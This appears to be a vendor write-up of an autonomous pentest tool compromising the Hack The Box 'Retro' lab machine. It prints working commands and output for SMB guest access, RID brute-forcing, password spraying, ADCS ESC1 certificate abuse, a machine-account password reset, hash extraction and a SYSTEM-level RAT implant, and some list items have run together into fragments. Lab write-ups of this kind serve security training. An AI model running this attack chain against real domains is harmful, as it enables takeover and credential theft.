This post will dive into how NodeZero autonomously solved the HTB Retro machine. These attack paths were discovered and executed entirely by NodeZero with no human or manual intervention.
Let us walk through the following attack graph created by NodeZero demonstrating the steps taken to find the user flag. This attack path took NodeZero just 11 minutes and 47 seconds to execute.
From the start, NodeZero’s autonomous engine treats the target as a black box. Its initial reconnaissance identifies an open SMB port.
NodeZero immediately tests common, high-impact misconfigurations. It attempts an SMB login as the guest user with a blank password and succeeds. This single finding provides an initial foothold and reveals a list of shares, most notably Notes and Trainees.
$ crackmapexec smb 10.129.26.212 --smb-timeout 5 -u guest -p "" --shares
SMB 10.129.26.212 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)
SMB 10.129.26.212 445 DC [+] retro.vl\guest:
SMB 10.129.26.212 445 DC [*] Enumerated shares
SMB 10.129.26.212 445 DC Share Permissions Remark
SMB 10.129.26.212 445 DC ----- ----------- ------
SMB 10.129.26.212 445 DC ADMIN$ Remote Admin
SMB 10.129.26.212 445 DC C$ Default share
SMB 10.129.26.212 445 DC IPC$ READ Remote IPC
SMB 10.129.26.212 445 DC NETLOGON Logon server share
SMB 10.129.26.212 445 DC Notes
SMB 10.129.26.212 445 DC SYSVOL Logon server share
SMB 10.129.26.212 445 DC Trainees READ
A guest account is good, but a real user is better. NodeZero autonomously chains its next actions based on this new access:
Enumerate Users: It leverages its guest permissions to perform a RID brute-force attack, which confirms a list of valid domain users, including one named trainee.
netexec smb 10.129.26.212 -u guest -p "" --rid-brute
Find the Weakness: With a valid username, NodeZero’s password spray module automatically tests a list of common, weak passwords. It quickly finds a match: trainee/trainee
$ crackmapexec smb 10.129.26.212 -u trainee --shares -d RETRO.VL -p trainee --smb-timeout 5
SMB 10.129.26.212 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:RETRO.VL) (signing:True) (SMBv1:False)
SMB 10.129.26.212 445 DC [+] RETRO.VL\trainee:trainee
SMB 10.129.26.212 445 DC [*] Enumerated shares
SMB 10.129.26.212 445 DC Share Permissions Remark
SMB 10.129.26.212 445 DC ----- ----------- ------
SMB 10.129.26.212 445 DC ADMIN$ Remote Admin
SMB 10.129.26.212 445 DC C$ Default share
SMB 10.129.26.212 445 DC IPC$ READ Remote IPC
SMB 10.129.26.212 445 DC NETLOGON READ Logon server share
SMB 10.129.26.212 445 DC Notes READ
SMB 10.129.26.212 445 DC SYSVOL READ Logon server share
SMB 10.129.26.212 445 DC Trainees READ
NodeZero immediately understands that the new trainee credentials are more powerful than the guest account. It re-enumerates the SMB shares as this new user and finds it now has READ access to the Notes share. A quick enumeration of that share’s contents reveals user.txt and the flag is captured.
$ smbclient \\10.129.26.212\Notes -c get "user.txt" 90dcf384-ad3e-4cea-b1b1-b18e0c61c645 -U RETRO.VL\trainee%trainee
cbda362cff209907****************
This entire chain – from finding a port, to testing guest access, to RID cycling, to password spraying, to finding the flag – was executed in sequence by NodeZero with no human guidance.
This is where NodeZero’s autonomous engine truly shines. Getting the root flag wasn’t a single linear path. NodeZero identified, pursued and autonomously fused two separate attack paths in parallel to achieve its goal.
Using the trainee credentials, NodeZero continued to enumerate the domain. It quickly identified a high-impact vulnerability in Active Directory Certificate Services (ADCS).
certipy find -output h3 -enabled -target-ip 10.129.26.212 -u [email protected] -p trainee
RetroClients was found to be vulnerable to ESC1.Domain Admins, Domain Computers, or Enterprise Admins group. The trainee user was in none of them.For a human, this might be a temporary dead end. For NodeZero, it is just a problem to solve. It parked this attack path, knowing the exact “key” it needed: a user in one of those three groups.
While Path A was being analyzed, the other NodeZero modules were not idle. They were simultaneously hunting for any other weaknesses on the network.
BANKING$. NodeZero attempts to use the computer’s hostname as a password and discovers that its password was vulnerable to a reset.Domain Computers group by default.BANKING$python3 /opt/h3/rpcchangepwd.py RETRO.VL/BANKING$:[email protected] -newpass 1**************f
This is the moment that demonstrates true autonomous intelligence. NodeZero’s central “brain” instantly connected the dots from its two parallel operations.
Domain Computers group.BANKING$, a user in the Domain Computers group.The “parked” ADCS attack was immediately re-activated. NodeZero now had all of the ingredients:
BANKING$ account (the “Key”).RetroClients template (the “Locked Door”)jburley, a Domain Administrator it had previously enumerated.$ certipy req -target-ip 10.129.26.212 -u [email protected] -ca retro-DC-CA -template RetroClients -upn [email protected] -out user -sid S-1-5-21-2983547755-698260136-4283918172-1107 -key-size 4096 -p 1**************f
[!] Failed to resolve: RETRO.VL
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 11
[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID is 'S-1-5-21-2983547755-698260136-4283918172-1107'
[*] Saved certificate and private key to 'user.pfx'
With a valid certificate for a Domain Admin, NodeZero autonomously performs the final steps:
It uses the jburley certificate to authenticate and extract the NTLM hash. This is an instance of the “UnPAC the Hash” attack.
certipy auth -pfx user.pfx -dc-ip 10.129.26.212 -domain RETRO.VL -u jburley
It uses this hash to deploy its own implant (the NodeZero RAT) directly onto the endpoint gaining full SYSTEM-level access.
$ rat_cli.sh wait-for-checkin 140c72da-55b2-4021-8884-0a35a93c5fe0 {
"correlation_id": "140c72da-55b2-4021-8884-0a35a93c5fe0",
"username": "SYSTEM",
"pid": 1000,
"implant_type": {
"Windows": {
"username": "SYSTEM",
"pid": 1000,
"process_token": {
"integrity_level": {
"name": "System",
"value": 4,
"sid": "S-1-16-16384"
},
"groups": [
"S-1-5-32-544",
"S-1-1-0",
"S-1-5-11",
"S-1-16-16384"
],
"privileges": [
"SeAssignPrimaryTokenPrivilege",
"SeLockMemoryPrivilege",
"SeIncreaseQuotaPrivilege",
"SeTcbPrivilege",
"SeSecurityPrivilege",
"SeTakeOwnershipPrivilege",
"SeLoadDriverPrivilege",
"SeSystemProfilePrivilege",
"SeSystemtimePrivilege",
"SeProfileSingleProcessPrivilege",
"SeIncreaseBasePriorityPrivilege",
"SeCreatePagefilePrivilege",
"SeCreatePermanentPrivilege",
"SeBackupPrivilege",
"SeRestorePrivilege",
"SeShutdownPrivilege",
"SeDebugPrivilege",
"SeAuditPrivilege",
"SeSystemEnvironmentPrivilege",
"SeChangeNotifyPrivilege",
"SeUndockPrivilege",
"SeManageVolumePrivilege",
"SeImpersonatePrivilege",
"SeCreateGlobalPrivilege",
"SeIncreaseWorkingSetPrivilege",
"SeTimeZonePrivilege",
"SeCreateSymbolicLinkPrivilege",
"SeDelegateSessionUserImpersonatePrivilege"
]
},
"path_to_binary": "C:\\Windows\\Temp\\tmp-lcache.exe"
}
}
}
The RAT is instructed to read the root.txt flag from the Administrator’s desktop, completing the full, autonomous compromise of the machine.
$ get.sh 40fce9c3f09024bca***************
HTB Retro is a fantastic, classic machine. It’s not designed to be very difficult, but it perfectly demonstrates a textbook attack path: chaining weak credentials into a critical Active Directory misconfiguration. The point isn’t that a human couldn’t find this. The point is that NodeZero did, autonomously and quickly. It shows NodeZero’s ability to correctly identify, chain, and fuse common-but-critical vulnerabilities.